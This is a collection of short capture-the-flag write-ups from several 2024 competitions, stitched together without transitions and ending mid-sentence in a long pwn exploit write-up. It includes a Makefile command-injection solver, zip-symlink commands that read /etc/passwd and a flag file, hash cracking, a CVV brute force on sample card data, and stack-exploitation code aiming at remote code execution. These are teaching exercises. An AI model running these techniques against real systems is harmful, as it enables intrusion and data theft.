```bashjohn hash --wordlist=$rockyou password123``` Log in to the app and receive the flag. ```bashadmin:password123``` Flag: `HTB{t3rm1n4l_cr4ck1ng_sh3n4nig4n5}`
# Corruption> Can't seem to open the file. The file was corrupted with operations used through this application: (Link to cyberchef download). This challenge was a fair bit guessy in my opinion but the solution in the end was found. We start with a 'corrupted' file which was modified using CyberChef (attached via a download). I load the file into CyberChef and begin going through the options sequentially (as there was no other indicator of what to do :/ ), until I see an interesting result on 'Rotate right'. ```...00 F7 FA 28 A2 80 0A 28 A2 80 0A 28 A2 80 0A 28 A2 80 0A 28 A2 80 0A 28 A2 80 0A 28 A2 80 0A 28 A2 80 0A 28 A2 80 0A 28 A2 80 0A 28 A2 80 0A 28 A2 80 0A 28 A2 ...``` It seems we have some hex data! I take out the hex data seperately and decode it and I save the bytes output to a file. Now, this file is a JPEG and I know JPEGs can be rendered with only partial file content, so I think if I override the 'hex' data with the data we decoded and fixed the magic bytes, we might get a working file. I open the file in a hex editor and override the bytes with the new ones. I find the JPEG magic bytes online are `FFD8FFE0 00104A46 49460001`, which lines up with the final `01` in the file. Upon saving we get a working JPEG with the flag inside. ![flag.jpg](https://seall.dev/images/ctfs/tamuctf2024/flag.jpg) Flag: `gigem{uncorrupting_image_files_90812}`
# Made Sense > Author: doubledelete > Description: i couldn't log in to my server so my friend kindly spun up a server to let me test makefiles. at least, they thought i couldn't log in :P [https://madesense-okntin33tq-ul.a.run.app/](https://madesense-okntin33tq-ul.a.run.app/) This challenge is Misc PyJail / MakeJail called `Made Sense` that written using the Flask. ```python {title="source.py" lineNos=true lineNoStart=1}import osfrom pathlib import Pathimport reimport subprocessimport tempfile from flask import Flask, request, send_file app = Flask(__name__)flag = open('flag.txt').read() def write_flag(path): with open(path / 'flag.txt', 'w') as f: f.write(flag) def generate_makefile(name, content, path): with open(path / 'Makefile', 'w') as f: f.write(f"""SHELL := /bin/bash.PHONY: {name}{name}: flag.txt\t{content}""") @app.route('/', methods=['GET'])def index(): return send_file('index.html') @app.route('/src/', methods=['GET'])def src(): return send_file(__file__) # made sense@app.route('/make', methods=['POST'])def make(): target_name = request.form.get('name') code = request.form.get('code') print(code) if not re.fullmatch(r'[A-Za-z0-9]+', target_name): return 'no' if '\n' in code: return 'no' if re.search(r'flag', code): return 'no' with tempfile.TemporaryDirectory() as dir: run_dir = Path(dir) write_flag(run_dir) generate_makefile(target_name, code, run_dir) sp = subprocess.run(['make'], capture_output=True, cwd=run_dir) return f"""<h1>stdout:</h1>{sp.stdout}<h1>stderr:</h1>{sp.stderr} """ app.run('localhost', 8000)``` If we take look at the source-code it's allows to create a Makefile with a target and a command, and then runs make in a temporary directory containing a flag file. And then checks for the presence of newline characters and the string `flag` in the command to prevent from reading the flag file directly. However, it doesn't prevent from using other commands or environment variables. One possible solution is to use the cat command with a wildcard (*) instead of the filename. This will read all files in the directory, including the flag file. ![payload.png](https://raw.githubusercontent.com/nopedawn/CTF/main/WolvCTF24/MadeSense/payload.png) ![response.png](https://raw.githubusercontent.com/nopedawn/CTF/main/WolvCTF24/MadeSense/response.png) Final solver automation: ```python {title="solver.py" lineNos=true lineNoStart=1}import requestsimport re data = { 'name': 'target', 'code': 'cat *'} response = requests.post('https://madesense-okntin33tq-ul.a.run.app/make', data=data)flag = re.findall(r'wctf{.*}', response.text) print(flag)``` > Flag: `wctf{m4k1ng_vuln3r4b1l1t135}`
### Crypto - Hills Cipher ------------------------- |76 |101|115|116|101|114| ------------------------- |32 |83 |97 |110|100|101| ------------------------- |114|115|32 |115|104|111| ------------------------- |117|108|100|32 |104|101| ------------------------- |108|112|32 |121|111|117| ------------------------- |32 |58 |41 |41 |41 |42 | ------------------------- KLZCOUKTVOUWUKDOBGZVJIIIRGVHXCRQUCNOX_IBBL This is `Hill Cipher`, see how it works or use an online decoder https://www.dcode.fr/hill-cipher ![image](https://github.com/zer00d4y/writeups/assets/128820441/9ecc3648-419b-420c-810b-610e830a553b) FLAG: CODEBY{BTW_EXISTS_AN_INTERESTING_FILM_ABOUT_HILLS}
# Beginner: Anti-dcode.fr > I've heard that everyone just uses dcode.fr to solve all of their crypto problems. Shameful, really. This is really just a basic Caesar cipher, with a few extra random characters on either side of the flag. Dcode can handle that, right? >:) The '{', '}', and '_' characters aren't part of the Caesar cipher, just a-z. As a reminder, all flags start with "utflag{". Working with the file I do the following. I put the file into [CyberChef](https://gchq.github.io/CyberChef/), and do a `ROT13` and then a `Find / Replace` and check for any instances of the string `utflag{`. I roll through the rotation till I see a length drop in the output at `18`. I delete the `Find / Replace`, and save the output. Searching the saved output for `utflag{` I find the flag. Flag: `utflag{rip_dcode}`
# Limited 1 > Author: catgut6675 > Description: It's pretty easy to find random integers if you know the seed, but what if every second has a different seed? [chal_time.py](https://github.com/nopedawn/CTF/blob/main/WolvCTF24/Limited1/chal_time.py) ```python {title="chal_time.py" lineNos=true lineNoStart=1}import timeimport randomimport sys if __name__ == '__main__': flag = input("Flag? > ").encode('utf-8') correct = [189, 24, 103, 164, 36, 233, 227, 172, 244, 213, 61, 62, 84, 124, 242, 100, 22, 94, 108, 230, 24, 190, 23, 228, 24] time_cycle = int(time.time()) % 256 if len(flag) != len(correct): print('Nope :(') sys.exit(1) for i in range(len(flag)): random.seed(i+time_cycle) if correct[i] != flag[i] ^ random.getrandbits(8): print('Nope :(') sys.exit(1) print(flag)``` The given Python script that uses the current time as a seed for the random number generator. The script then checks if the XOR of each character in the flag with a random 8-bit number equals the corresponding number in the `correct` list. If all checks pass, the flag is printed. To do that, we need to reverse the process. Here's the solver: ```python {title="solver.py" lineNos=true lineNoStart=1}import random correct = [189, 24, 103, 164, 36, 233, 227, 172, 244, 213, 61, 62, 84, 124, 242, 100, 22, 94, 108, 230, 24, 190, 23, 228, 24] for time_cycle in range(256): flag = "" for i in range(len(correct)): random.seed(i+time_cycle) char = correct[i] ^ random.getrandbits(8) flag += chr(char) if all(' ' <= c <= '~' for c in flag): print(f"time_cycle: {time_cycle}\nflag: {flag} ")``` ```bash$ python3 solver.pytime_cycle: 188flag: wctf{f34R_0f_m1ss1ng_0ut}``` > Flag: `wctf{f34R_0f_m1ss1ng_0ut}`
# Посмотрим js код на сайте. ![image](https://github.com/aksden42/VolgaCTF2024_qualifer_find_the_flag3/blob/main/volga1.jpg?raw=true) # Тут интересная 11 строчка. Попробуем пойти по пути /worker11111.js, и мы увидим первую часть флага.## ![image](https://raw.githubusercontent.com/aksden42/VolgaCTF2024_qualifer_find_the_flag3/main/volga2.jpg) # Смотрим дальше код и находим следующий фрагмент:![image](https://raw.githubusercontent.com/aksden42/VolgaCTF2024_qualifer_find_the_flag3/main/volga3.jpg) # Тут у нас инициализируется Web Socket соединение с backendHost и отправляется сообщение "info". Хорошо, читаем дальше, и понимаем чему равен backendHost. ![image](https://raw.githubusercontent.com/aksden42/VolgaCTF2024_qualifer_find_the_flag3/main/volga4.jpg) # backendHost = 172.105.246.165:3001. С web консоли в браузере попробуем по WebSocket подключится на этот адрес:![image](https://raw.githubusercontent.com/aksden42/VolgaCTF2024_qualifer_find_the_flag3/main/volga5.jpg)# Теперь отправим "info". ![image](https://raw.githubusercontent.com/aksden42/VolgaCTF2024_qualifer_find_the_flag3/main/volga6.jpg) # Нам сервер отвечает "work work work". Давайте вместе "info" отправим строку "flag".![image](https://raw.githubusercontent.com/aksden42/VolgaCTF2024_qualifer_find_the_flag3/main/volga7.jpg) # Отлично, у нас есть вторая часть флага. Продолжим поиски. Далее рассмотрим этот кусок кода:![image](https://raw.githubusercontent.com/aksden42/VolgaCTF2024_qualifer_find_the_flag3/main/volga8.jpg) # Тут идёт взаимодейтвие между /worker.js и /api/code/part3. Так же берётся с локального хранилища "unlockCode" который используется дальше в /api/code/part3. Давайте посмотрим на /worker.js![image](https://raw.githubusercontent.com/aksden42/VolgaCTF2024_qualifer_find_the_flag3/main/volga9.jpg) # worker.js принимает unclockCode и далее генерируется js код (строка const code = ...). Заметим, в конце строки вставляется e.data.code, а потом вызывается eval от code. Теперь давайте посмотрим на /api/code/part3:![image](https://raw.githubusercontent.com/aksden42/VolgaCTF2024_qualifer_find_the_flag3/main/volga10.jpg) # Этот код манипулирует positions и secretKey из worker.js. Этот код и подставляется на место e.data.code. Давайте соберём вместе эти два кода воедино.![image](https://raw.githubusercontent.com/aksden42/VolgaCTF2024_qualifer_find_the_flag3/main/volga11.jpg) # И мы получим третий кусок флага:![image](https://raw.githubusercontent.com/aksden42/VolgaCTF2024_qualifer_find_the_flag3/main/volga12.jpg) # Всем спасибо за внимание:)
# web/flaglang (606 solves)> Do you speak the language of the flags? Looking at Flaglang it is a plain website where we can select countries and see 'Hello world' in various languages, at the very top is an interesting option, Flagistan. ![flaglang-1.png](https://seall.dev/images/ctfs/lactf2024/flaglang-1.png) Looking at the source code provided we can see that the countries are stored in YAML and the country 'Flagistan' seems to deny all country codes. Scrolling through the YAML I notice that 'NO' for Norway is highlighted blue. ![flaglang-2.png](https://seall.dev/images/ctfs/lactf2024/flaglang-2.png) YAML seems to parse YES/NO as objects like true/false rather than strings, so we can cause the server to load an invalid object (which isn't on Flagistans deny list), allowing us to render the flag! ![flaglang-3.png](https://seall.dev/images/ctfs/lactf2024/flaglang-3.png) Bam! We can see the flag! Flag: `lactf{n0rw3g7an_y4m7_f4ns_7n_sh4mbl3s}`
First consider how to find the correct way to hash any individual row from client joined with paymentinformation, then apply that to Winward's lost cvv. Consider the first entry "1, Selie, O'Hickee, [email protected], 6412716528, 85482 8th Point, 1, jcb, 3574149894079198, 2025-09-27, 944, fd89e80a452ffd806bb39b1ee27853bf046239142057248c00cd3f6c2ce76ba9" And Winward's entry"628, Karney, Winward, [email protected], 5505915936, 46969 Darwin Way, 628, jcb, 3575484559870618, 2024-10-18, 111, 2c86ea0c9b64c4b85f1afc9dd25bde3cefaf297b075d51fe98e3f4685d0baa31" We know all the columns that are possible, and the hash that should come out. Therefore, we can brute force to find what combination of columns (while maintaining order) is correct. Then after that, you can brute force which cvv Winward had (000-999). By the way, I solved these myself, but just used Gemini to produce the code for this writeup. Sorry for the poor formatting, take this and paste it into your IDE if you want to take a better look.# Python code for getting column order from hashlib import sha256from itertools import combinations data = [ "1", "Selie", "O'Hickee", "[email protected]", "6412716528", "85482 8th Point", "1", "jcb", "3574149894079198", "2025-09-27", "944"] target_hash = "fd89e80a452ffd806bb39b1ee27853bf046239142057248c00cd3f6c2ce76ba9" def hash_combinations(data, target_hash): """ Hashes every possible combination of columns in the data list, stopping when the target hash is found. Args: data: A list of strings representing the data columns. target_hash: The SHA256 hash to search for. """ for col in data: hashed_data = sha256(col.encode('utf-8')).hexdigest() if hashed_data == target_hash: print(f"Found target hash: {hashed_data} (Single column: {col})") return for i in range(2, len(data) + 1): for subset in combinations(data, i): joined_data = ",".join(subset) hashed_data = sha256(joined_data.encode('utf-8')).hexdigest() if hashed_data == target_hash: print(f"Found target hash: {hashed_data} (Columns used: {', '.join(subset)})") return hash_combinations(data.copy(), target_hash) This yields Found target hash: fd89e80a452ffd806bb39b1ee27853bf046239142057248c00cd3f6c2ce76ba9 (Columns used: Selie, O'Hickee, 3574149894079198, 2025-09-27, 944) So we need to use Winward's data in the same way.Karney,Winward,3575484559870618,2024-10-18,111 # Python code for brute forcing the cvv from hashlib import sha256 template = "Karney,Winward,3575484559870618,2024-10-18," target_hash = "2c86ea0c9b64c4b85f1afc9dd25bde3cefaf297b075d51fe98e3f4685d0baa31" for i in range(1000): current_string = template + f"{i:03d}" hashed_data = sha256(current_string.encode('utf-8')).hexdigest() if hashed_data == target_hash: print(f"Found target hash: {hashed_data} (String used: {current_string})") break else: print("Target hash not found within the specified range.") This yieldsFound target hash: 2c86ea0c9b64c4b85f1afc9dd25bde3cefaf297b075d51fe98e3f4685d0baa31 (String used: Karney,Winward,3575484559870618,2024-10-18,571) The flag is texsaw{571}
## WEB ### Web - terms-and-conditions ![image](https://github.com/zer00d4y/writeups/assets/128820441/3e42346e-3566-444f-bc5a-a24439bbe4d3) ![image](https://github.com/zer00d4y/writeups/assets/128820441/b0d8cff9-1150-4916-8c5f-2623f9773149) ![image](https://github.com/zer00d4y/writeups/assets/128820441/89a682c4-9559-449a-8772-80c6ccea8be9) `document.getElementById("accept").click()` ![image](https://github.com/zer00d4y/writeups/assets/128820441/57780cb8-0cd9-47fc-ba85-122042b999b1) ![image](https://github.com/zer00d4y/writeups/assets/128820441/00603560-004d-4a25-94bd-14f5ef560217) FLAG: lactf{that_button_was_definitely_not_one_of_the_terms}
In this task, we need to find `flag.txt` by uploading the zip via the website. ![schrödinger](https://raw.githubusercontent.com/GerlachSnezka/utctf/main/assets/2024-web-schrodinger.png) Since in the task, there's that flag.txt is located in the home folder, it will probably be in `home/<user>/flag.txt` Although we don't know the user's name, we can still get it. If you're more proficient with Linux, you know that `/etc/passwd` contains all the users. So we can zip a file that is not a pure file or folder, but a symlink to /etc/passwd. With this, the web will then return the file's content to us. ```shln -s "/etc/passwd" linkzip -y payload.zip link # use -y to don't save our /etc/passwd``` We'll get:```---------------link--------------- root:x:0:0:root:/root:/bin/bashdaemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologinbin:x:2:2:bin:/bin:/usr/sbin/nologinsys:x:3:3:sys:/dev:/usr/sbin/nologinsync:x:4:65534:sync:/bin:/bin/syncgames:x:5:60:games:/usr/games:/usr/sbin/nologinman:x:6:12:man:/var/cache/man:/usr/sbin/nologinlp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologinmail:x:8:8:mail:/var/mail:/usr/sbin/nologinnews:x:9:9:news:/var/spool/news:/usr/sbin/nologinuucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologinproxy:x:13:13:proxy:/bin:/usr/sbin/nologinwww-data:x:33:33:www-data:/var/www:/usr/sbin/nologinbackup:x:34:34:backup:/var/backups:/usr/sbin/nologinlist:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologinirc:x:39:39:ircd:/run/ircd:/usr/sbin/nologingnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologinnobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin_apt:x:100:65534::/nonexistent:/usr/sbin/nologinsystemd-network:x:101:102:systemd Network Management,,,:/run/systemd:/usr/sbin/nologinsystemd-resolve:x:102:103:systemd Resolver,,,:/run/systemd:/usr/sbin/nologinmessagebus:x:103:104::/nonexistent:/usr/sbin/nologinsystemd-timesync:x:104:105:systemd Time Synchronization,,,:/run/systemd:/usr/sbin/nologinsshd:x:105:65534::/run/sshd:/usr/sbin/nologincopenhagen:x:1000:1000::/home/copenhagen:/bin/sh``` In the very last line, we see `copenhagen:x:1000:1000:1000::/home/copenhagen:/bin/sh`, indicating that the cat is named `copenhagen` We can create symlink again and this time to `/home/copenhagen/flag.txt````shln -s "/home/copenhagen/flag.txt" linkzip -y payload.zip link # use -y to don't save our /etc/passwd``` And we get our dream flag:```utflag{No_Observable_Cats_Were_Harmed}```
**[Misc - Character](https://medium.com/@cybersecmaverick/htb-cyber-apocalypse-ctf-2024-misc-9d3d512900b4#2bda10)** https://medium.com/@cybersecmaverick/htb-cyber-apocalypse-ctf-2024-misc-9d3d512900b4#2bda
TL;DR: since our moduli are coprime, we apply Chinese Remainder Theorem to apply the encrypted message, and can take the regular cube root without solving DLP since the CRT modulus is too large to safely encrypt the flag.
# OSINT 1> It seems like companies have document leaks all the time nowadays. I wonder if this company has any. We start with a fairly standard corporate website. ![osint1.png](https://seall.dev/images/ctfs/utctf2024/osint1.png) Looking through the only part of particular interest seems to be the employees list. The user that catches my eye the most is a 'Cole Minerton' due to the little blurb under him being the most expansive and also a mention of 'social media presence'. At the top of the results is a [Twitter account](https://twitter.com/coleminerton) which has a [linktr.ee](https://linktr.ee/coleminerton) attached! Browsing his social media I can see that he has a [YouTube channel](https://www.youtube.com/channel/UCkdrU8xdCgL0oasGsZAlUpw) which I saw below the Twitter in the search results so I go to it first. Looking at the channel description there is a [Discord invite](https://discord.gg/re9ez8ey) which contains a conversation between Cole and his friends. Reading the conversation there is a file posted, a `trustly-contract.pdf`. Downloading the file and reading it contains the flag. Flag: `utflag{discord_is_my_favorite_document_leaking_service}`
I apologise for not being able to provide screenshots or anything of the like as the site is down of writing this but I did write this up quickly to give people an idea of my process 1. My first thought was to google line and dot numbers which turned out to be the mayan counting system.2. Knowing the culture, I google “Kulkulkan” and “Mayan” which led to the location Chichen Itza. I also noted that Kulkulkan’s stronghold was constructed sometime around the 8th to 12th century (will be important later)3. Now that I have the location, I googled for past solar eclipses and found a NASA website which required the latitudinal and longitudinal coordinates of Chichen Itza. 4. After doing another quick google search, the coordinates were found and inserted into the NASA page.5. After reaching the 11th century, it was noted that there was a total solar eclipse on 11/07/1097.6. Confirmation from submission proved the flag to be:nicc{1097-07-11_Chichen_Itza}
Author: 0x6fe1be2 Version 21-02-24 # [LA CTF 2024](https://ctftime.org/event/2102) (17.02-19.02) ## woogie-boogie Status: solved (WE_0WN_Y0U) Category: PWN Points: 499 (3 Solves) ### TL;DR woogie-boogie is a dynamic non-stripped binary pwn challenge that exploits a xor swap with an OOB vulnerability, similar to boogie-woogie from dice ctf 2024. First we use the OOB vulnerability to leak ASLR values and loop back to `_start`, we then use some xor magic to change the LSB byte of an old stack ptr to create a write gadget and ROP with a two gadget to get RCE and leak the flag (exploit at the end). There were only 3 solves during the CTF with at least 2 of them being unintended solutions (including mine). The [Official Writeup](https://enzo.run/posts/lactf2024/) exploits line buffering instead and is a worthwhile read. ### Intro woogie-boogie is a (hard) pwn challenge from LA CTF 2024. Description: > i haven't been watching too much jjk>> ```bash> nc chall.lac.tf 31166> ```>> Downloads> *Dockerfile* *woogie-boogie* *run* The challenge seems to consist of two binaries *run* and *woogie-boogie*. The *run* binary can be ignored for my exploit and won't be looked at in detail, in a nutshell it just calls the main binary *woogie-boogie*. We also have a Dockerfile which we can use to gather important information: *Dockerfile* ```dockerfileFROM pwn.red/jail # ubuntu:focal COPY --from=ubuntu@sha256:f2034e7195f61334e6caff6ecf2e965f92d11e888309065da85ff50c617732b8 / /srv COPY woogie-boogie /srv/app/woogie-boogie COPY flag.txt /srv/app/flag.txt COPY run /srv/app/run RUN chmod 755 /srv/app/run ENV JAIL_MEM=20M JAIL_TIME=120 JAIL_PIDS=50 ``` Don't be confused by `pwn.red/jail`, it's a simply sandbox environment using [nsjail](https://github.com/google/nsjail) (also sadly doesn't work on my rootless docker). The important image to look at is the `COPY --from` target, which seems to be `ubuntu:focal`. Using this information we can get the GLIBC version: `Ubuntu GLIBC 2.31-0ubuntu9.14`, and create a proper execution environment using [vagd](https://github.com/gfelber/vagd) `vagd template ./woogie-boogie chall.lac.tf 31166` and changing the image. ```diff...- vm = Dogd(exe.path, image=Box.DOCKER_JAMMY, ex=True, fast=True) # Docker+ vm = Dogd(exe.path, image=Box.DOCKER_FOCAL, ex=True, fast=True) # Docker...``` We can also use `vagd info` to get checksec information and binary comments. *vagd info ./woogie-boogie* ```[*] './woogie-boogie' Arch: amd64-64-little RELRO: Full RELRO Stack: Canary found NX: NX enabled PIE: PIE enabled[*] GCC: (Ubuntu 9.4.0-1ubuntu1~20.04.2) 9.4.0``` As we can see all binary protection features are enabled. Also we basically confirm again that the image is `ubuntu:focal`. > Note: Even shadow stack is enabled, but neither my CPU (or the remote) support it so no need to worry ... yet (^_^"). >> `readelf -n ./woogie-boogie | grep -a SHSTK` ### Reverse Engineering Luckily the binary is non-stripped and dynamic which should make reversing a lot easier, lets look at the decompiled code ```cundefined8 main(void) { long woogie; long boogie; char buffer [8]; char zwi; setvbuf(stdout,(char *)0x0,1,0); /* get relative long offsets from buffer and swap them */ while( true ) { write(1,"woogie: ",8); woogie = readint(); write(1,"boogie: ",8); boogie = readint(); if ((woogie == 0) && (boogie == 0)) break; /* always 8 byte aligned */ swap(buffer + woogie * 8,buffer + boogie * 8); } /* reverse (big endian) */ for (int i = 0; i < 4; i = i + 1) { zwi = buffer[i]; buffer[i] = buffer[7 - (long)i]; buffer[7 - (long)i] = zwi; } /* print value in buffer */ fwrite(buffer,1,8,stdout); fflush(stdout); write(1,"\n",1); return 0;}``` the basic execution flow seems rather simple, take two long offsets from `char buffer[8]` from user using `readint()` and then `swap()` them (using xor). If both provided offsets equal 0 the loop is exited, afterwards the byte order of the buffer is reversed and printed. Normally because the GLIBC `FILE` struct allows some shenanigans this would be the obvious attack vector (and is used in the official writeup), but this won't be needed for this exploit. ### Vulnerability If we look at the code provided above there is an obvious vulnerability, the offsets read from `readint()` and used for `swap()` are never validated therefore giving us unlimited relative stack access to stack, which we can e.g. use to change the RET address and build a ROP chain: ```python... BASE = 0 # default base# calculate values for woogie_boogie using BASE (of buffer) and targetdef base_diff(a, base=None): if base is None: base = BASE diff = a - base assert diff % 8 == 0, "unaligned diff" return diff // 8 def woogie_boogie(a, b): sla("woogie: ", a) sla("boogie: ", b) def leaker(): woogie_boogie(0, 0) # end main loop return rl()[:-1] # get leak from buffer # important offsetsBASE = 0x7fffffffed10START_REF = base_diff(0x7fffffffede8) # 27ROP = base_diff(0x7fffffffed38) # 5 t = get_target()woogie_boogie(0, START_REF) # swap a stack reference to the _start function with our bufferwoogie_boogie(0, ROP) # swap the RET address of the main function with our buffer (to loop back to main)leak = leaker() # leak the inital RET addrress (__libc_start_main+243)lhex(leak, '__libc_start_main+243: ')# new prompt for woogie:it() # t.interactive()``` > Note: functions like `rl()` and `sla()` are simple aliases for `t.recvline()` and `t.sendlineafter()`, a full list can be seen using `vagd template` or looking at the exploit at the end ### Leaks Looping back to main allows us to create multiple leaks, so we additionally leak the value of STACK: ```python# leak stackSTACK_LEAK = base_diff(0x7fffffffec68, 0x7fffffffec30) # 11 woogie_boogie(START_REF, ROP)woogie_boogie(0, STACK_LEAK)leak = u64(leaker(), endian='big')STACK = leaklhex(STACK, "stack: ") # 0x7fffffffed48``` we could also leak offsets like PIE or HEAP, but they won't be needed for the exploit. Even the stack leak is only used to make the exploit more reliable. > Note: it should be possible to make this exploit completely leak less, but this would make it a lot more brute force and luck reliant, so not today (^_^) ### Swap *(Insanity)* Let's take a closer look at the swap function because this is were the OOB vulnerability happens: ```assembly undefined __stdcall swap(undefined8 a, undefined8 b) ;; prolog 0010129a f3 0f 1e fa ENDBR64 0010129e 55 PUSH RBP 0010129f 48 89 e5 MOV RBP,RSP ;; save a and b to stack 001012a2 48 89 7d f8 MOV qword ptr [RBP + a_stack],a 001012a6 48 89 75 f0 MOV qword ptr [RBP + b_stack],b ;; *a=*a^*b 001012aa 48 8b 45 f8 MOV RAX,qword ptr [RBP + a_stack] 001012ae 48 8b 10 MOV RDX,qword ptr [RAX] 001012b1 48 8b 45 f0 MOV RAX,qword ptr [RBP + b_stack] 001012b5 48 8b 00 MOV RAX,qword ptr [RAX] 001012b8 48 31 c2 XOR RDX,RAX 001012bb 48 8b 45 f8 MOV RAX,qword ptr [RBP + a_stack] 001012bf 48 89 10 MOV qword ptr [RAX],RDX ;; *b=*a^*b 001012c2 48 8b 45 f0 MOV RAX,qword ptr [RBP + b_stack] 001012c6 48 8b 10 MOV RDX,qword ptr [RAX] 001012c9 48 8b 45 f8 MOV RAX,qword ptr [RBP + a_stack] 001012cd 48 8b 00 MOV RAX,qword ptr [RAX] 001012d0 48 31 c2 XOR RDX,RAX 001012d3 48 8b 45 f0 MOV RAX,qword ptr [RBP + b_stack] 001012d7 48 89 10 MOV qword ptr [RAX],RDX ;; *a=*a^*b 001012da 48 8b 45 f8 MOV RAX,qword ptr [RBP + a_stack] 001012de 48 8b 10 MOV RDX,qword ptr [RAX] 001012e1 48 8b 45 f0 MOV RAX,qword ptr [RBP + b_stack] 001012e5 48 8b 00 MOV RAX,qword ptr [RAX] 001012e8 48 31 c2 XOR RDX,RAX 001012eb 48 8b 45 f8 MOV RAX,qword ptr [RBP + a_stack] 001012ef 48 89 10 MOV qword ptr [RAX],RDX ;; epilog 001012f2 90 NOP 001012f3 5d POP RBP 001012f4 c3 RET``` using swap on ptrs has some interesting edge cases notably if `a == b` the value doesn't get swapped but zeroed out instead (because `*a ^ *a == 0`)) One important quirk of the gcc compiler (if no optimization is specified) is that the parameters `a` and `b` are actually cached in the stack (`a_stack` and `b_stack`) even though this isn't needed at all. But this allows us the create some weird behavior, e.g. what happens if we swap the value of `b_stack` during our swap operations, (so `b != b_stack`). ```pythonGDB = f"""b * swap+0x10""" ... # important offsetsBASE = 0x7fffffffe530 # 0A_STACK = base_diff(0x7fffffffe508) # -5B_STACK = base_diff(0x7fffffffe500) # -6WOOGIE_STACK = base_diff(0x7fffffffe538) # 1BOOGIE_STACK = base_diff(0x7fffffffe540) # 2 t = get_target()woogie_boogie(0, WOOGIE_STACK) # clear buffer (to 0)woogie_boogie(0, B_STACK) # weird stuff it()``` which basically represents these operations: ```c#include <assert.h> #define IMMEDIATE 0x20 #define DONOR 0x6fe1be2 void main(){ long buffer = IMMEDIATE; *(long *)((long)&buffer^IMMEDIATE) = DONOR; long* b = &buffer; long* a = (long*) &b; *a = *a^*b; // OR b = b^*b // OR b = &buffer^IMMEDIATE assert((long)b == (long)&buffer^buffer); *b = *a^*b; // OR *(&buffer^IMMEDIATE) = *(&buffer^IMMEDIATE)^&buffer^IMMEDIATE // OR *(&buffer^IMMEDIATE) ^= &buffer^IMMEDIATE assert(*(long*)((long)&buffer^IMMEDIATE) == DONOR^(long)&buffer^buffer); *a = *a^*b; // ignore assert(*(long*)((long)&buffer^IMMEDIATE) == DONOR^(long)&buffer^buffer);}``` This is really weird, because by change the value of b during the swap process we can edit values on stack, notably we can xor a value on stack with `&buffer^buffer` and because we can swap values anyway we can xor any value on stack! But how is this usable? The cool thing about XOR operations is that `a^b^b=a`, so how do we use this to our favor? first of all, let's look at what happens, if we do it twice: ```c#include <assert.h> #define IMMEDIATE 0x20#define DONOR 0x6fe1be2 void main(){ long buffer = IMMEDIATE; *(long *)((long)&buffer^IMMEDIATE) = DONOR; long* b = &buffer; long* a = (long*) &b; /* FIRST */ *a = *a^*b; // b = b^*b *b = *a^*b; // *(&buffer^IMMEDIATE) ^= &buffer^IMMEDIATE *a = *a^*b; // ignore b = &buffer; a = (long*) &b; /* SECOND */ *a = *a^*b; // b = &buffer^IMMEDIATE *b = *a^*b; // *(&buffer^IMMEDIATE) ^= &buffer^IMMEDIATE *a = *a^*b; // ignore buffer = *(long*)((long)&buffer^IMMEDIATE); assert(buffer == DONOR); // restored initial value}``` look at that we xor `*(&buffer^buffer)`twice with `&buffer^buffer`, therefore undoing our corruption, but there is more, if we can store user controlled values in `buffer` we can basically xor any value on stack with this user supplied value. ```c#include <assert.h> #define IMMEDIATE_1 0x20#define IMMEDIATE_2 0x40#define DONOR 0x6fe1be2 void main(){ long buffer = IMMEDIATE_1; *(long *)((long)&buffer^IMMEDIATE_1) = DONOR; long* b = &buffer; long* a = (long*) &b; /* FIRST */ *a = *a^*b; // b = b^*b *b = *a^*b; // *(&buffer^IMMEDIATE_1) ^= &buffer^IMMEDIATE_1 *a = *a^*b; // ignore *(long*)((long)&buffer^IMMEDIATE_2) = *(long*)((long)&buffer^IMMEDIATE_1); buffer = IMMEDIATE_2; b = &buffer; a = (long*) &b; /* SECOND */ *a = *a^*b; // b = &buffer^IMMEDIATE_2 *b = *a^*b; // *(&buffer^IMMEDIATE_2) ^= &buffer^IMMEDIATE_2 *a = *a^*b; // ignore buffer = *(long*)((long)&buffer^IMMEDIATE_2); assert(buffer == DONOR^IMMEDIATE_1^IMMEDIATE_2);}``` So why is this important? Well we can basically get user controlled byte values from stack, by abusing the immediate saved in `boogie` and `woogie`. We simply swap their values with the offset and supplied immediate: ```python# user controlled byte values in bufferdef create_char(char): assert char < 0x100, "char to large" woogie_boogie(char, WOOGIE_STACK) woogie_boogie(0, char)``` Sadly this only works if there is enough space allocated on stack, but we can guarantee that by loop main a few times back _start (which allocates 0xe0 bytes per iteration) ```python# allocatePAD = 0xe0BASE = STACK - 0x1f8 # base of buffer linfo("allocate")ALLOCS = 7for i in range(ALLOCS): print(f'{i}/{ALLOCS}', end='\r') woogie_boogie(START_REF, ROP) woogie_boogie(0, 0) BASE -= PAD``` > Note: after reading the [Official Writeup](https://enzo.run/posts/lactf2024/) i realized that using negative offsets probably would have been easier (and wouldn't have required additional allocs). We now apply all our accumulated knowledge to edit the first byte of any value on stack: ```pythonDONOR = base_diff(0x7fffffffe318, 0x7fffffffe370) # donor offsetGOAL_ADR = 0x1248 DONOR_ADR = 0x1280 # DONOR assert (GOAL_ADR ^ DONOR_ADR) < 0x100, "difference larger than one byte"assert ((GOAL_ADR ^ DONOR_ADR) < 0x7) == 0, "can't change first three bits" # FIRSTchar = GOAL_ADR & 0xff # IMMEDIATE_1ptr = BASE^char # &buffer^IMMEDIATE_1 up = base_diff(ptr)lhex(ptr, "up: ")woogie_boogie(up, DONOR) # # *(&buffer^IMMEDIATE_1) = DONORcreate_char(char) # buffer = IMMEDIATE_1woogie_boogie(B_STACK, 0) # *(&buffer^IMMEDIATE_1) ^= &buffer^IMMEDIATE_1 # SECONDxor = (DONOR_ADR & 0xff) # ^ char ^ (GOAL_ADR & 0xff) # IMMEDIATE_2xor_ptr = BASE^xor # &buffer^IMMEDIATE_2xor_up = base_diff(xor_ptr) woogie_boogie(xor_up, up) # *(&buffer^IMMEDIATE_2) = *(&buffer^IMMEDIATE_1);create_char(xor) # buffer = IMMEDIATE_2woogie_boogie(B_STACK, 0) # *(&buffer^IMMEDIATE_2) ^= &buffer^IMMEDIATE_2 woogie_boogie(xor_up, 0) assert (GOAL_ADR & 0xff) == leaker() & 0xff, "xor magic failed" cl()``` ### ROP now we only need to find a GADGET and a DONOR that is within one byte of change. Luckily have exactly such a gadget in 